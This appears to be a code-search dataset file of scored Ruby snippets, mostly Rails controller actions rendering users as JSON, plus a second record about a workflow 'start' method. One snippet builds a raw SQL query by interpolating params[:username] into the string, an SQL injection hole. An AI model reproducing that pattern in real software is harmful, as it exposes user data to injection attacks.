#attach_meet_infos(current_user, @meets)\n @title = @user.name_or_email\n redirect_to meets_user_path(@user)\n }\n format.json { # Only return user profile\n if (!current_user?(@user) && !admin_user?)\n render :json => @user.to_json(JSON_USER_BRIEF_API)\n else\n render :json => @user.to_json(JSON_USER_DETAIL_API)\n end\n }\n end\n end", "title": "" }, { "docid": "584f5978bc7276a4c0d60803be777809", "score": "0.64445573", "text": "def index\n users = User.all\n # cheer_ups = CheerUp.all\n render json: users\n end", "title": "" }, { "docid": "2286f0557707443aeec052d23ff0540d", "score": "0.64427954", "text": "def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end", "title": "" }, { "docid": "fd6f331d604ba2ad8967a7e5ed218329", "score": "0.64318925", "text": "def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end", "title": "" }, { "docid": "9676f3d62199d6203f66d3dce5a30782", "score": "0.64253557", "text": "def index\n @candidates = Usernew.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usernew }\n end\n end", "title": "" }, { "docid": "8ce72c1bec98193f4c3b89b543d62cbc", "score": "0.6405727", "text": "def index\n @users = User.order_by(last_name: :desc)\n if @users\n render json: Oj.dump(json_for(@users, include: ['phones', 'cards'], meta: meta), mode: :compat)\n else\n return head :unauthorized\n end\n end", "title": "" }, { "docid": "f5bde1372030d6c1ccf0b231f20560fb", "score": "0.6396202", "text": "def show\n users = User.all.map { |u| u.compared }\n render :json => users\n end", "title": "" }, { "docid": "20fb34751ab1ac3f35e275b55404d068", "score": "0.6336596", "text": "def set_best_user\n @best_user = BestUser.find(params[:id])\n end", "title": "" }, { "docid": "6d573ec7e39cdda3ba66cf71a28fbbba", "score": "0.6329208", "text": "def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end", "title": "" }, { "docid": "682edb351a6b9fa2e71af9513fac9ec9", "score": "0.6312471", "text": "def index\n @users = User.search(params[:search]).order(\"kilometers DESC\").paginate(:per_page => 100, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "c116c3490a772195385dd208ab3a5d8d", "score": "0.62616366", "text": "def index\n users = User.all\n render json: { users: users }, status: :ok\n end", "title": "" }, { "docid": "5d6aaa037c86c0b8819ab1d2a7ed52a9", "score": "0.62571216", "text": "def indexUserSocial\n render json: User.where( id: params[:user_id] ).last.socials.page(params[:page] || 1).per(params[:per] || 10) , status: 200\n end", "title": "" }, { "docid": "6c471dcc266cfb4b48d745a910c18a36", "score": "0.62517285", "text": "def all_users()\n @endpoint = \"/users.json?limit=100\"\n setup_get\n res = @http.request(@req)\n return JSON.load(res.body)[\"users\"].sort_by { |user| user[\"lastname\"] }\n end", "title": "" }, { "docid": "7e3a005f2626d5765315a6c829a2d3e4", "score": "0.6224939", "text": "def index\n users = User.all.select(:id, :username, :guild_id).with_otp\n @result = users.map{|user| user.as_json.merge({\n guild_name: user.guild ? user.guild.name : \"Not in a guild\",\n score: Match.where(challenged: false, winner: user.id).size,\n my_user: (user == current_user),\n route: '#users/' + user.id.to_s\n })}\n @result.sort_by! { |res| -res[:score] }\n @result = @result.map { |i| i.merge({ rank: @result.find_index{ |user| user[\"id\"] == i[\"id\"] }.to_i + 1 }) }\n render json: @result.as_json, status: :ok\n end", "title": "" }, { "docid": "3d66018225bafa65eec9033addb463cb", "score": "0.6199092", "text": "def index\n json_response(User.all) \n end", "title": "" }, { "docid": "19423f4ba688711e05a41a61d8792e5f", "score": "0.6194604", "text": "def recent_users\n respond_with json_response(\n 'recent_users',\n User.all.order('created_at DESC').first(5)\n )\n end", "title": "" }, { "docid": "9254b1421276e37d822241d92427f11d", "score": "0.617919", "text": "def index\n if params[:term]\n query = params[:term]\n @users = User.search(query)\n else\n # @users = User.paginate(:per_page => 20, :page => params[:page])\n @users = []\n @new_users = User.newest\n @most_watched_users = User.most_watched\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json\n end\n end", "title": "" }, { "docid": "f5bc3427945f5e977a1940e130598640", "score": "0.61735535", "text": "def best\n @best = User.find_paginated_best_bands_and_deejays :page => params[:page], :per_page => 3\n render :partial => 'best'\n end", "title": "" }, { "docid": "8a29471646191d84def95f7af1e081bf", "score": "0.6171336", "text": "def users(args = {})\n get(\"/users.json\",args)\n end", "title": "" }, { "docid": "c4a7de30db0a9a85d147b188f5ea3b4f", "score": "0.6157264", "text": "def show\n @recommender = User.where(username: params[:username]).first.recommender\n if @recommender.nil?\n render json: \"No Recommender of this user found\"\n else\n render json: @recommender.to_json(only: :latest_recommendation)\n end\n end", "title": "" }, { "docid": "c25018afee40b6e55cf5c57ab96ba615", "score": "0.6151471", "text": "def index\n @users = User.find(:all, :order => :email)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "1e73df3f83a18e371bc66b0668c2a7fc", "score": "0.6144418", "text": "def select_user\n # @users = ['ichthala', 'wescarr17', 'seraphicmanta', 'tcclevela', 'antonwheel', 'horse_ebooks', 'catlandbooks']\n # @users.each_with_index do |user, index|\n # @users[index] = Twitter.user(user)\n # end\n\n @users = []\n\n while @users.count < 9\n offset = rand(Twitteruser.count)\n rand_sn = Twitteruser.first(:offset => offset).screen_name\n unless @users.find_index(rand_sn)\n @users << rand_sn\n end\n end\n\n @users << 'horse_ebooks'\n\n @users.each_with_index do |user, index|\n @users[index] = Twitter.user(user)\n end\n\n respond_to do |format|\n format.html\n format.json {render json: @users}\n end\n\n end", "title": "" }, { "docid": "ffc0b74b9534f6c306378e2a3270a8f3", "score": "0.61406106", "text": "def create\n @best_user = BestUser.new(best_user_params)\n\n respond_to do |format|\n if @best_user.save\n format.html { redirect_to @best_user, notice: 'Best user was successfully created.' }\n format.json { render action: 'show', status: :created, location: @best_user }\n else\n format.html { render action: 'new' }\n format.json { render json: @best_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc42dee84c8c4520838552e21fd50015", "score": "0.6138901", "text": "def get \n render :json => User.find(params[:id])\n end", "title": "" }, { "docid": "6c06ae91d84c999b50d1830d37605337", "score": "0.6130101", "text": "def index\n users = User.all\n render json: users\n end", "title": "" }, { "docid": "6c06ae91d84c999b50d1830d37605337", "score": "0.6130101", "text": "def index\n users = User.all\n render json: users\n end", "title": "" }, { "docid": "6c06ae91d84c999b50d1830d37605337", "score": "0.6130101", "text": "def index\n users = User.all\n render json: users\n end", "title": "" }, { "docid": "6c06ae91d84c999b50d1830d37605337", "score": "0.6130101", "text": "def index\n users = User.all\n render json: users\n end", "title": "" }, { "docid": "43318c4acd2fe493fd6cf8814b6a5d8a", "score": "0.6128625", "text": "def index\n user= User.all\n render json: {users:user}\n end", "title": "" }, { "docid": "a402a325f1a79d8671589120c1936b25", "score": "0.61262685", "text": "def get_users_by_search_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UsersApi#get_users_by_search ...\"\n end\n \n # resource path\n path = \"/Users/Search\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'first_name'] = opts[:'first_name'] if opts[:'first_name']\n query_params[:'last_name'] = opts[:'last_name'] if opts[:'last_name']\n query_params[:'email'] = opts[:'email'] if opts[:'email']\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIUser>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#get_users_by_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "bf5363394d6d4ff127444d1afe5e0e7e", "score": "0.61244994", "text": "def index\n users = User.all\n json_response(users)\n end", "title": "" }, { "docid": "03e2680ef9457cfdb2ff079c53895894", "score": "0.61205596", "text": "def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end", "title": "" }, { "docid": "d43fb08fa6d9e6932adcc97ee0a666e2", "score": "0.6106058", "text": "def show\n @user = User.where('email = ?',params[:email]).take\n render json: @user\n end", "title": "" }, { "docid": "e6e032f050ff950998063558c9598b99", "score": "0.61007446", "text": "def index\r\n users = User.all\r\n render json: users\r\n end", "title": "" }, { "docid": "6ba783d047c76314a9df70c0b92707ac", "score": "0.60858476", "text": "def index\n render :json => User.all, status: 200\n end", "title": "" }, { "docid": "2186bc9338a167659132e2cf536be081", "score": "0.60841733", "text": "def index\n users = User.all\n render json: users \n end", "title": "" }, { "docid": "4341b9ba32544a1f29361aff4bd9c179", "score": "0.60841215", "text": "def index\n if params[:email].blank?\n @users = User.all\n else\n @user = User.find_by_email(params[:email])\n if !@user.blank?\n redirect_to user_path(@user, format: :json)\n else\n render :json => { :id => \"0\"}\n end\n end\n end", "title": "" }, { "docid": "61478d307d4df308eb1f84f1cccca2c2", "score": "0.6083925", "text": "def index\n @users = User.where(banned: false).order(:name).includes(:skills)\n\n @users = @users.ilike(:name, params[:query]) unless params[:query].blank?\n @users = @users.tagged_with(params[:skills]) unless params[:skills].blank?\n\n @tags = User.tag_counts_on(:skills)\n @latest_users = User.where(banned: false).limit(3).order('created_at desc')\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "c97180304311943767fa21c037559683", "score": "0.6081865", "text": "def users\n puts \"SEARCH USERS\"\n @users = User.search(params[:q])\n puts \"SEARCH USERS COUNT:#{@users.count}\"\n render :json => @users.as_json(:current_user => current_user)\n end", "title": "" }, { "docid": "aaf39c0ee28ba6a3ac81c6d021196720", "score": "0.6081682", "text": "def index\n @users = User.all\n render json: @users, status: :ok\n end", "title": "" }, { "docid": "b6297f4bfa8f273e4be8b7eabd804c46", "score": "0.6074809", "text": "def index\n @predicted = false\n case params[:show]\n when \"unapproved\"\n @users = User.where(:cleared => false).order(\"name ASC\")\n when \"unwined\"\n @users = User.where(:wine => false).order(\"name ASC\")\n when \"predicted\"\n @predicted = true\n @users = User.where(:cleared => true).order(\"predicted DESC, name ASC\")\n else\n @users = User.where(:cleared => true).order(\"points DESC, name ASC\")\n end\n setup_latest_game_tip_hash\n # Any ongoing games right now? To toogle link to the page of predicted standing.\n @game_ongoing = Game.where(\"kickoff < ? AND final <> true\", Time.zone.now).count > 0\n @first_game_started = first_game_started?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n\n end", "title": "" }, { "docid": "928b22ed94dcdba4997fbb2fc5e977b0", "score": "0.60728884", "text": "def user\n user_name = User.where(:id => params[:id]).first.try(:name)\n \n user_data = {\n id: params[:id],\n name: user_name\n }\n \n respond_to do |format|\n format.html { redirect_to root_path } # search.html.erb\n format.json { render json: user_data }\n end\n end", "title": "" }, { "docid": "5e3d39d67a70ee3cb70507c0f8ff375b", "score": "0.60699743", "text": "def index\n @users = User.order(\"id DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "cc3c9c14c682f2377662f80d58f63ea2", "score": "0.6069064", "text": "def index\n users = User.all \n render json: users \n end", "title": "" }, { "docid": "f701f84287d0a680ce1b38a72a92cff5", "score": "0.60667646", "text": "def index\n @users = User.where(:alive => true).order(\"nick ASC\")\n @headline = t(:all_users)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @users }\n end\n end", "title": "" }, { "docid": "d2bb11e94e9049e0545696842fba9a84", "score": "0.60594255", "text": "def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end", "title": "" }, { "docid": "db6ab12d648e86b3527daf4a9e9843f6", "score": "0.60572803", "text": "def index\n if current_user.client_user?\n redirect_to :root\n return\n end\n \n @users = User.order(\"users.created_at DESC\")\n\n respond_to do |format|\n format.html\n format.json {head :ok }\n end\n end", "title": "" }, { "docid": "85c71d2a05914f688564fb0dd861dea1", "score": "0.605706", "text": "def index\n respond_to do |format|\n format.json {\n user_leaderboard = []\n userid = params[:user_id]\n if userid\n # First, get the list of leaderboard values for current user\n current_user = User.find(userid)\n user_leaderboard << get_leaderboard_values_for_user(userid, current_user.fbid, current_user.fb_name, current_user.membertime)\n\n # Then, get leaderboard values for user's friends\n fbid_array = current_user.fb_friends\n if fbid_array.length > 0\n fbid_array = fbid_array.split(\"|\")\n friends_list = User.where(\"fbid in (?)\", fbid_array)\n\n friends_list.each do |friend|\n user_leaderboard << get_leaderboard_values_for_user(friend.id, friend.fbid, friend.fb_name, friend.membertime)\n end\n end\n\n log_event(:user_leaderboard, :get, user_leaderboard)\n render json: user_leaderboard.as_json\n else\n create_error(:unprocessable_entity, :get, \"\", \"Missing user\")\n end\n }\n end\n end", "title": "" }, { "docid": "1aa76663dd248dddbb8870aff66a203e", "score": "0.6053411", "text": "def user\n render :json=> User.find(params[:id])\n end", "title": "" }, { "docid": "75c19257f45634532e966fe5b9aa32d7", "score": "0.6052249", "text": "def index\n @users = User.list(params[:search],@curr_user,params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @users }\n end\n end", "title": "" }, { "docid": "10789f1472d581698ecfa1efa8118ef6", "score": "0.60516936", "text": "def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend", "title": "" }, { "docid": "4bb5fc50d50676a52479a9f36f01a059", "score": "0.60486895", "text": "def index\n @search = UserSearch.new(search_params)\n @users = search_params.present? ? @search.results : User.where(:banned => false)\n @users = @users.order(:name)\n\n respond_to do |format|\n format.html { render :index}\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "c92b91efb848d41a16c38479bd40048e", "score": "0.6048515", "text": "def index\n if params[:search]\n @user = Sunspot.search(User) do\n fulltext params[:search]\n end.results\n else\n @user = User.all.order(\"created_at DESC\")\n end\n render :json => @user\n end", "title": "" }, { "docid": "5207c8e194b9eeda7d16b7cd61a47ac5", "score": "0.6048217", "text": "def index\n\n users = User.all \n render json: users\n\n end", "title": "" }, { "docid": "8e4bdc1e9b84e0aeafbea57881da37e9", "score": "0.6042066", "text": "def index\n @users = User.all.sort_by{|u| u.name || u.id.to_s}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "63bc895fb88887e9e4577a851c24df4a", "score": "0.6041715", "text": "def index\n @users = User.all\n render json: @users, status: :ok\n end", "title": "" }, { "docid": "c9be31dad7d323088e84c4adffd9f57a", "score": "0.6040394", "text": "def index\n @users = User.all\n\n render json: @users\n end", "title": "" }, { "docid": "c9be31dad7d323088e84c4adffd9f57a", "score": "0.6040394", "text": "def index\n @users = User.all\n\n render json: @users\n end", "title": "" }, { "docid": "c9be31dad7d323088e84c4adffd9f57a", "score": "0.6040394", "text": "def index\n @users = User.all\n\n render json: @users\n end", "title": "" }, { "docid": "c9be31dad7d323088e84c4adffd9f57a", "score": "0.6040394", "text": "def index\n @users = User.all\n\n render json: @users\n end", "title": "" }, { "docid": "c9be31dad7d323088e84c4adffd9f57a", "score": "0.6040394", "text": "def index\n @users = User.all\n\n render json: @users\n end", "title": "" }, { "docid": "c9be31dad7d323088e84c4adffd9f57a", "score": "0.6040394", "text": "def index\n @users = User.all\n\n render json: @users\n end", "title": "" }, { "docid": "71846cbe8d45c52fc6eca3e3aabac3b3", "score": "0.6039196", "text": "def search_for_user(params) # :yields: JSON\n uri=URI.parse(@uri_builder.get_user_contents(Api_options::USER::SEARCH, params))\n http=HttpHandler.initiate_http(uri)\n begin\n response=HttpHandler.get_response(http,uri)\n rescue ArgumentError\n puts \"Request failed with code: #{response.code}\"\n else\n @response_status=true\n return response\n end\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "92c38d204173af55357406763326ad78", "score": "0.60366523", "text": "def index\n @users = User.all\n render json: @users\n end", "title": "" }, { "docid": "fe137e4fe3f9e073cb836801b9c0e447", "score": "0.603473", "text": "def index\n @myusers = Myuser.all\n\n render json: @myusers\n end", "title": "" }, { "docid": "a8a705601bb27e8597bf2848e9a878ce", "score": "0.6029352", "text": "def show\n render json: Users.find(params[\"id\"])\n end", "title": "" }, { "docid": "cce6ce43b1ae9368d8080d1a8780a06e", "score": "0.60278267", "text": "def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "629f7011cadeaa09868521a16da0302d", "score": "0.6017268", "text": "def get_best_users(n,factor = 1)\n\t return recommand(:get_best_users,:get_best_tags,n,factor){\n\t\t self.friends.collect{|f|\t\t\n\t\t\t# See comments about frienships relations to more information about f structure\n\t\t\t [f[:friend],f[:friend].screen_name,f[:weight]*factor]\n\t\t }\n\t\t}\t\n\tend", "title": "" }, { "docid": "585882d1d308916e75f5aaad4f96d1d9", "score": "0.6015023", "text": "def index\n \n @users = User.page(params[:page]).per_page(14)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n \n end", "title": "" }, { "docid": "2a60da6dfc5dda9a7e35a3ce2031e2c4", "score": "0.6013623", "text": "def index\n\t\tif params.has_key?(:email)\n\t\t\t@user = User.where(\"email = ?\", params[:email]).first\n\t\t\trender json: @user.to_json\n\t\telse\n\t\t\thead :no_content \n\t\tend\n\tend", "title": "" }, { "docid": "53e66b36e034d6a0bb97018f972498dd", "score": "0.6013022", "text": "def get\n new_user = User.new(user_params)\n @user = User.find_by(number: new_user.number)\n \n if not @user.nil?\n render json: @user\n else \n new_user.save\n render json: new_user\n end\n end", "title": "" }, { "docid": "b64d4d3aee0f4faff43728e247c20f72", "score": "0.6010174", "text": "def show\n @user = User.find_by_id(params[:id])\n\n if @user\n render json: @user.to_json(include: [:games]), status: 200\n else\n render json: {error: \"User not found\"}, status: 404\n end\n end", "title": "" }, { "docid": "48d5d1d2f665999e16514d2395ac5bfb", "score": "0.6008032", "text": "def show\n @user = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM users \n WHERE username = '#{params[:username].downcase}' \n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: User.find(@user[0])}\n end\n end", "title": "" }, { "docid": "fae5732ad700f76c8dd4523d896efa35", "score": "0.6005793", "text": "def show\n @users = User.all\n json_response(@users)\n end", "title": "" }, { "docid": "b1ea988aed9fc755c10672ba8afbead5", "score": "0.6004203", "text": "def get_friends\n results = []\n user = User.find_by_username(params[:username])\n friends = Friend.where(user_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id:friend.id, username: friend.username}\n end\n friends = Friend.where(friend_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id:friend.id, username: friend.username}\n end\n render json:results\n end", "title": "" }, { "docid": "e816cfe0edccc7fbd0c1526dc5b53540", "score": "0.6003007", "text": "def user1\n if user = User.where(\"lower(users.login) = ?\", params[:login].downcase).first\n result = {\n :id => user.id,\n :username => user.login,\n :name => user.name,\n :avatar_url => user.avatar_url,\n :location => user.location\n }\n render json: result\n else\n head :not_found\n end\n end", "title": "" }, { "docid": "fb1d08beb42eac13eaeee8866ea5679c", "score": "0.6001112", "text": "def index\n @users = User.all \n render json: @users, status: :ok \n end", "title": "" }, { "docid": "b0bebd8393a30878c0f357fd56bf2a91", "score": "0.5999419", "text": "def index\r\n @users = User.order(\"created_at DESC\")\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @users }\r\n end\r\n end", "title": "" }, { "docid": "72eb4e75723062c74dee2796a5b10dd8", "score": "0.59925085", "text": "def index\n @users = User.order(:idnum)\n respond_to do |format|\n format.html { render json: {:message => \"Here are the details of all #{@users.size} users.\", :users => @users }}\n end\n end", "title": "" }, { "docid": "56a3cc5949a927630338e073f93c1c57", "score": "0.5989407", "text": "def index\n @users = User.all\n\n render json: @users\n end", "title": "" }, { "docid": "13f54a7ba98df84b97155babb796fb8d", "score": "0.5984833", "text": "def index\n render json: User.all\n end", "title": "" }, { "docid": "13f54a7ba98df84b97155babb796fb8d", "score": "0.5984833", "text": "def index\n render json: User.all\n end", "title": "" }, { "docid": "71db21a0fd78fb13a38206a1428dc8c7", "score": "0.5977765", "text": "def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end", "title": "" }, { "docid": "593f4b842d3f0b1373e512a986909de9", "score": "0.597684", "text": "def friend_search()\n users = User.all.map {|u| u.email }.concat( Candidate.all.map {|u| u.email } )\n render :json => users\n end", "title": "" }, { "docid": "5604b973e2b0f63b811d491130c03451", "score": "0.597419", "text": "def index\n render json: User.all\n end", "title": "" }, { "docid": "e919d7e5535fede359d5a40c232844ef", "score": "0.597074", "text": "def index\n render json: current_org.users\n end", "title": "" }, { "docid": "fcf58b44ab3e29434a1f158cc7a93525", "score": "0.59660244", "text": "def index\n @users = User.all\n\n respond_to do |format|\n format.html\n format.json { render json: @users }\n end\n end", "title": "" } ]
7a3198cc9c30b14fc20664aa00224e63
Define the workflow method :start. It will take in an input hash that contains the root template (:definition) and the arguments to the template (:args).
[ { "docid": "71af789bf732a8d6cccbe5da7f19f405", "score": "0.7836493", "text": "def start(input)\n\n raise ArgumentError, \"Workflow input must be a Hash\" unless input.is_a?(Hash)\n raise ArgumentError, \"Input hash must contain key :definition\" if input[:definition].nil?\n raise ArgumentError, \"Input hash must contain key :args\" if input[:args].nil?\n\n definition = input[:definition]\n args = input[:args]\n\n unless definition.is_a?(AWS::Flow::Templates::RootTemplate)\n raise \"Workflow Definition must be a AWS::Flow::Templates::RootTemplate\"\n end\n raise \"Input must be a Hash\" unless args.is_a?(Hash)\n\n # Run the root workflow template\n definition.run(args, self)\n\n end", "title": "" } ]
[ { "docid": "6c5f513b8f85f92e716403c3b10ddbff", "score": "0.6025385", "text": "def start\n create('start')\n end", "title": "" }, { "docid": "544ad9c6c1b92b769486c79355c4f56a", "score": "0.60197234", "text": "def start(args={})\n\t\t\tcapture(args)\n\t\tend", "title": "" }, { "docid": "9e55dc90c25b7ab1c9d5ca9e0460e5da", "score": "0.5876456", "text": "def on_starting_entry(state, event, *event_args)\n super\n\n __debug_sim('The workflow is starting.')\n\n self\n end", "title": "" }, { "docid": "9a2e84595751ad9d9de4aa17e3171d67", "score": "0.5801265", "text": "def start(given_args = T.unsafe(nil), config = T.unsafe(nil)); end", "title": "" }, { "docid": "f2c68a70b959d1b4400c107781eda40e", "score": "0.5786449", "text": "def start! *args\n @state = nil\n goto_state! @stateMachine.start_state, args\n end", "title": "" }, { "docid": "9b56e547fe001e41473f15ed44299b4a", "score": "0.5777724", "text": "def start\n @template_name, template_data = parse\n\n snippet = Compiler.build(template_name, template_data)\n\n edit(snippet) || printer.out(snippet)\n rescue => exception\n printer.err exception.message\n help_and_exit\n end", "title": "" }, { "docid": "abe37923fa791a75a8e0e9cdf7dcc67c", "score": "0.57378304", "text": "def start(*args)\n current.start(*args)\n end", "title": "" }, { "docid": "51e3015a2cdd18ce2723e3ea358a1d23", "score": "0.57327086", "text": "def start(payload)\n setup(payload).start\n end", "title": "" }, { "docid": "a7939a6eee6a3fa8d7644ba48e759a15", "score": "0.57168007", "text": "def start(name, payload); end", "title": "" }, { "docid": "a7939a6eee6a3fa8d7644ba48e759a15", "score": "0.57168007", "text": "def start(name, payload); end", "title": "" }, { "docid": "8f22db3d0aec39c5a5f45349d3132015", "score": "0.56270427", "text": "def initialize(args)\n # setup for testing input\n @input = $stdin\n # setup for testing output\n @output = $stdout\n # set the name of the project from the first argument passed, or from the module instance variable JumpStart.default_template_name if no argument passed.\n @project_name = args[0].dup unless args[0].nil?\n @template_name = args[1].dup unless args[1].nil?\n case\n when args.nil?\n @template_name = JumpStart.default_template_name unless JumpStart.default_template_name.nil?\n jumpstart_menu\n when !args[0].nil? && args[1].nil?\n @template_name = JumpStart.default_template_name unless JumpStart.default_template_name.nil?\n end\n # set instance variable @template_path as the directory to read templates from.\n @template_path = FileUtils.join_paths(JumpStart.templates_path, @template_name)\n end", "title": "" }, { "docid": "b0403b300641f7b5f854d19397258520", "score": "0.56216705", "text": "def start(hash)\n Swan.singleton.apps.start(hash)\n end", "title": "" }, { "docid": "7d8c6a6b980b5534711e7c917d279219", "score": "0.5531605", "text": "def start\n instance_action :start\n end", "title": "" }, { "docid": "5cfcb274474000a0d257bcd74bd371c8", "score": "0.55095595", "text": "def tag_start(name, attributes)\n # attributes is a hash.\n if @states[@state].has_key?(:start_element)\n @states[@state][:start_element].call(name, attributes)\n end\n end", "title": "" }, { "docid": "5022fc494f07818c59ffd357f91edb67", "score": "0.55085003", "text": "def start(args=ARGV, config={})\n config[:shell] ||= Thor::Base.shell.new\n\n if Thor::HELP_MAPPINGS.include?(args.first)\n help(config[:shell])\n else\n opts = Thor::Options.new(class_options)\n opts.parse(args)\n\n new(opts.arguments, opts.options, config).invoke(:all)\n end\n rescue Thor::Error => e\n config[:shell].error e.message\n end", "title": "" }, { "docid": "be42d6d1d0b3f96f51f31a782bdf20a3", "score": "0.5501765", "text": "def start *args\n options = args.extract_options!\n options.reverse_merge! :type => :pig\n\n active_jobs = get_active_managed_jobs :type => options[:type]\n raise Buzzoink::DuplicateJobError unless active_jobs.blank?\n\n conf = Buzzoink.configure\n job = Buzzoink.emr.run_job_flow(conf.full_name(:type => options[:type]), conf.full_emr_configuration)\n\n # Add appropriate step for interactive job\n if options[:type] == :hive\n Buzzoink.emr.add_job_flow_steps(job.body['JobFlowId'], {'Steps' => [hive_step]})\n elsif options[:type] == :pig\n Buzzoink.emr.add_job_flow_steps(job.body['JobFlowId'], {'Steps' => [pig_step]})\n else\n raise Buzzoink::Error, \"Current type is invalid :: #{options[:type]}\"\n end\n\n get job.body['JobFlowId']\n end", "title": "" }, { "docid": "37cb9054b76803db1ad02b27659609e8", "score": "0.5477285", "text": "def start\n run_step(:prepare)\n run_step(:start)\n end", "title": "" }, { "docid": "70e93f0731aab72ebb07ab48bb13a00f", "score": "0.54671437", "text": "def start\n descriptor['starts'].each do |task_name|\n create_task(nil, task_name, payload)\n end\n end", "title": "" }, { "docid": "11eb2d1c955bcc9e6c4fc3982c838d04", "score": "0.54619265", "text": "def start\n requires :raw\n\n @raw.create\n end", "title": "" }, { "docid": "467a0b603dcdf9378f1bc67e6bc6a219", "score": "0.54613674", "text": "def initialize(*args)\n start(*args)\n end", "title": "" }, { "docid": "6b719bacab1059476f6c8db03e139d40", "score": "0.54505235", "text": "def start!\n invoke [:start]\n end", "title": "" }, { "docid": "c1b39764baac91274b09422cc577de48", "score": "0.54421896", "text": "def start\n $logger.info \"#{self.class} .star: do someshit with: #{route}\"\n #if short?\n ## short cat return response body\n #processor.response = send(route.to_sym)\n #else\n #end\n store_someshit!\n processor.response = send(current_step.to_sym)\n end", "title": "" }, { "docid": "eb4385d0d24131d755dfc444682c38bb", "score": "0.5425896", "text": "def call_start_handler\n call_handler(:start)\n end", "title": "" }, { "docid": "c92a5bcc9f18627a235b0b6de617ef19", "score": "0.541412", "text": "def start\n raise \"START function not implemented\"\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": 